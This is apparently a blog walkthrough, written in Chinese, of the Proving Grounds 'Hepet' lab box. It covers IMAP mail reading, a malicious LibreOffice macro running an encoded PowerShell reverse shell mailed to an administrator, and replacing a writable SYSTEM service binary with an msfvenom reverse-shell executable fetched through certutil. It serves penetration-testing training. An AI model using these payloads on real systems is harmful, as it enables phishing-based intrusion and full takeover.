Proving Grounds Practice : Hepet Walkthrough
Proving Grounds Practice : Hepet Walkthrough
Foothole (立足點 ) :
- 網站發現某使用者的密碼
- IMAP 登入該信箱讀信確認公司換 LiberOffice,說有表格請寄給 mailadmin
- 做好會自動執行 Macro 程式的 *.ods 檔案
- 寄信給 mailadmin 拿到 ReverseShell
PE ( 提權 ) :
- 登入的使用者家目錄發現一個非預設的目錄,檢查後有個開機自動執行的程式在此
- 確認有權限後將程式換成自行製作的 Payload 然後重開機提權成功
注意事項 :
- *.ods 的 Macro 執行寫法學習
- 查找 Windows 服務的關鍵
第一步 Rustscan,└─$ rustscan -a 192.168.205.140 --scripts none --ulimit 5000 | tee rustscan
snmp closed,└─$ sudo nmap -sU -p 161 192.168.205.140 | tee snmp
nmap,└─$ sudo nmap -sCV -A -p 25,79,105,106,110,135,139,143,443,445,2224,5040,8000,11100,20001,33006,49666,49669,49668,49667,49665,49664 192.168.205.140 | tee nmap
enum4linux,└─$ enum4linux -a 192.168.205.140
ftp 匿名登入 mget * 一次將檔案全抓回來,└─$ ftp 192.168.205.140 -P 20001
測試寫檔案失敗
searchsploit Mercury/32 滿多的但沒看到 RCE 都是 BOF
Metasploit 沒反應
443 /
443 /robots.txt
8000 /
看來也是一樣,像是一個 Staging 的網站
OSCP Pen-200 主要是在考量你的枚舉能力與觀察力
在網頁發現員工的名稱,實際上是系統的帳號是一個梗
但這裡有個很特別的地方,打久了一看就會知道這感覺就是個梗
就是 Jonas 的介紹,下方的角色說明明顯是個很特別與他人不一樣
Jonas K. SicMundusCreatusEst 感覺就像是一個密碼
目前沒有任何的發現,下一步在 Google 了一番後發現 IMAP 可以直接登入
那就試試看吧,└─$ nc -nv 192.168.205.140 143
接著使用 tag fetch 2:5 BODY[HEADER] BODY[1] 讀取相關郵件資訊
從郵件的內文得知辦公室的 Office 文件軟體改成 LibreOffice
然後所有文件與電子表單會透過郵件處理以確認相容性
接著看到 Agnes 發信給大家說他是新來的公關,並請大家將電子表格發給 mailadmin
後續讓我們來寄信看看,但郵件中應該要包含我們想要的 Payload
讓我們一樣使用最愛的 Powershell Oneliner
參考課程編輯一下內容的變數如下
Str = Str + "powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4Ad"
Str = Str + "ABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewA"
.......
Str = Str + "CQAcwApADsA"
更快的方式是寫一個 Python Code 如下
s = "powershell.exe -nop -w hidden -e aQBmACgAWwBJ...ACQAcwApADsA"
n = 50
for i in range(0, len(s), n):
chunk = s[i:i + n]
print('Str = Str + "' + chunk + '"')
執行後就會自動做好想要的結果 Str = Str + "<50 個字元>"
從郵件中可以看到是表格的文件,所以這一次要用表格文件編輯 Marco 檔案
Tools --> Macros --> Organize Macros --> Basic
New Macro
取名 ReverseShell
開始編輯
依據課程標準編輯如下
Sub Exploit
Dim Str As String
Str = Str + "cmd.exe /C powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4Ad"
Str = Str + "ABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewA"
...
Str = Str + "jAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AFMAdABhAHIAdAAoA"
Str = Str + "CQAcwApADsA"
Shell(Str)
End Sub
存檔
swaks 透過 25 Port 寄信失敗
sudo swaks -t mailadmin@localhost --from jonas@localhost --attach @reverseshell.ods --server 192.168.205.140 --body @/home/kali/pg/140/body.txt --header "Subject: Your spreadsheet" --suppress-data -ap.........GG
改用 sendmail 指令成功寄出了
└─$ sendemail -f 'jonas@localhost' -t 'mailadmin@localhost' -s 192.168.205.140:25 -u 'Your spreadsheet' -m 'Here is your requested spreadsheet' -a reverseshell.ods
但是從 sendmail 的測試發現不用帳號密碼,所以將 swaks 的指令後面參數 -ap 拿掉再測試一次就成功了,└─$ sudo swaks -t mailadmin@localhost --from jonas@localhost --attach @reverseshell.ods --server 192.168.205.140:25 --body @/home/kali/pg/140/body.txt --header "Subject: Your spreadsheet" --suppress-data
後來發現最簡單的寄信方式如下
sendemail -f 'jonas@localhost' \
-t 'mailadmin@localhost' \
-s 192.168.183.140:25 \
-u 'Your spreadsheet' \
-m 'Here is your requested spreadsheet' \
-a ReverseShell.ods
ReverseShell 443 進來了,拿第一階段 local.txt
開始 PE,whoami /priv,看來可以重新開機
現有使用者 Ela Arwel 家目錄底下有個非預設的 Veyon 資料夾
內容看起來像是一個安裝程式
看看所有自動執行的程式
wmic service get name,displayname,pathname,startmode | findstr /i "auto"
看到該資料夾路徑的程式,服務名稱是 VeyonService
Veyon Service VeyonService
C:\Users\Ela Arwel\Veyon\veyon-service.exe Auto
sc qc 看一下 sc qc VeyonService
用 LocalSystem 跑的,權限極大
看一下有無權限對該程式執行檔 icacls "C:\Users\Ela Arwel\Veyon\veyon-service.exe"
現有使用者有 (F) 權限
馬上建立一個名稱一樣的 Reverse Shell 的 *.exe 檔案
└─$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.177 LPORT=4446 -f exe -o veyon-service.exe
將原有的 veyon-service.exe 命名為 veyon-service.exe.old
ren veyon-service.exe veyon-service.exe.old
從 kali 將 payload 載入
certutil -urlcache -f http://192.168.45.177/pg/140/veyon-service.exe veyon-service.exe
停止服務 net stop VeyonService 發現沒有權限
那就直接重新開機吧 shutdown /r /f /t 1
重開機後 4446 Reverse Shell 進來了,whoami 看一下確定是 system 直接拿 flag
留言
張貼留言